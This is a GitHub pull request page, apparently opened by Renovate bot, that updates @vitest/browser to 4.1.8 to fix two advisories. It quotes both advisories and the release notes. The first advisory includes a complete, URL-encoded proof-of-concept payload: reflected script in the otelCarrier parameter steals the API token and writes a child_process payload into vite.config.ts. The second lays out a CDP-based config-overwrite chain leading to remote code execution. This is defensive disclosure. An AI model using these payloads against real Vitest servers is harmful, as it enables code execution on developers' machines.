chore(deps): update dependency @vitest/browser to v4.1.8 [security]#121
Open
renovate[bot] wants to merge 1 commit into
Open
chore(deps): update dependency @vitest/browser to v4.1.8 [security]#121renovate[bot] wants to merge 1 commit into
renovate[bot] wants to merge 1 commit into
Conversation
|
4fc3edf to
bb1a314
Compare
bb1a314 to
f4e30f0
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
4.1.5→4.1.8Vitest browser mode serves unsanitized otelCarrier query parameter as inline script
CVE-2026-47428 / GHSA-2h32-95rg-cppp
More information
Details
Summary
Vitest browser mode served
/__vitest_test__/with theotelCarrierquery parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48
https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41
The same generated page embeds
VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.Impact
This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.
In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into
vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.
Proof of Concept
XSS
For a concrete reproduction, start browser mode in watch mode using the official Lit example:
By default, Vitest serves the browser runner HTML and WebSocket API at
http://localhost:63315.Open the following URL:
The
otelCarrierquery value is inserted into the generated inline module script as JavaScript source:Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.
RCE via config write
A full local RCE proof can use the same injection point to recover
window.VITEST_API_TOKEN, connect to/__vitest_browser_api__, and calltriggerCommand("writeFile", ...)to modify the localvite.config.ts.The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.
This PoC imports
flattedfrom a CDN to keep the payload compact.Example script and encoded URL
The following URL is the same script encoded as the
otelCarrierquery value:http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Vitest Browser: Exposed Browser Mode API Can Proxy CDP and Overwrite Config Files, Leading to RCE
CVE-2026-53633 / GHSA-g8mr-85jm-7xhm
More information
Details
Summary
Vitest Browser Mode exposes a
cdp()API that forwards raw Chrome DevTools Protocol (CDP) methods over the Vitest browser WebSocket RPC. CDP is not gated bybrowser.api.allowWrite,browser.api.allowExec,api.allowWrite, orapi.allowExec.As a result, disabling Browser Mode write and exec operations does not prevent a browser API client from using CDP to perform equivalent actions. In a verified reproduction with
allowWrite: falseandallowExec: false, CDPPage.setDownloadBehaviorset the browser download directory to the project root, and CDPRuntime.evaluatedownloaded a controlledvite.config.ts. Vitest reloaded the changed config and executed attacker-controlled Node.js code.When the Browser Mode API is also exposed to the network, this becomes remotely exploitable because the generated browser runner page exposes the API token, active session id, project name, and project root path needed to connect to the browser WebSocket API and select the target download directory.
Impact
This affects Browser Mode projects using a CDP-capable provider, such as Playwright Chromium, when the browser API server is exposed to the network, for example with
--browser.api.host=0.0.0.0.In this mode Vitest warns that write and exec operations are disabled by default, but the generated browser runner page exposes enough metadata for a remote client to authenticate to the browser WebSocket API while an active session exists. This includes the browser API token, active session id, project name, and serialized test config including the project root path. The attacker can then call Vitest's CDP RPC and use Chrome's download controls to overwrite
vite.config.tsin the project root. When Vitest reloads the changed config, attacker-controlled Node.js code executes on the host running Vitest.The same exposed CDP bridge also allows direct browser-session JavaScript execution through
Runtime.evaluate. A separate local probe showed that CDP can navigate the browser to afile://URL and read rendered file contents, but the primary verified impact is config-file overwrite leading to RCE.Reproduction
For a concrete reproduction, start Browser Mode in watch mode using the official Lit example:
pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc cd vitest-poc pnpm installConfigure the Browser Mode API to listen on all interfaces while explicitly disabling write and exec operations:
Then start the test server:
pnpm testVitest serves the browser runner HTML and WebSocket API at
http://localhost:63315.While the browser session is active:
Fetch the generated browser runner page:
Extract the embedded browser API token, active session id, project name, and project root:
window.VITEST_API_TOKEN__vitest_browser_runner__.sessionId__vitest_browser_runner__.config.name__vitest_browser_runner__.config.rootConnect to the browser API WebSocket as a tester client:
Call the
sendCdpEventRPC method with:Call
sendCdpEventagain withRuntime.evaluate. The evaluated JavaScript creates a Blob containing a malicious Vite config and clicks an anchor element<a download="vite.config.ts">.Observed result:
vite.config.tsis overwritten with attacker-controlled content.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
vitest-dev/vitest (@vitest/browser)
v4.1.8Compare Source
🐞 Bug Fixes
cdpAPI whenallowWrite/allowExec: false[backport to v4] - by @hi-ogawa and Codex in #10450 (e4067)View changes on GitHub
v4.1.7Compare Source
🐞 Bug Fixes
View changes on GitHub
v4.1.6Compare Source
🐞 Bug Fixes
ToMatchScreenshotResolvePath- by @macarie and @sheremet-va in #10138 (31882)sequence.concurrent: truewith top-leveltest(..., { concurrent: false })+ depreactesequentialtest API and options - by @hi-ogawa, Codex and @sheremet-va in #10196 (2847d)🏎 Performance
View changes on GitHub
Configuration
📅 Schedule: (in timezone Asia/Shanghai)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.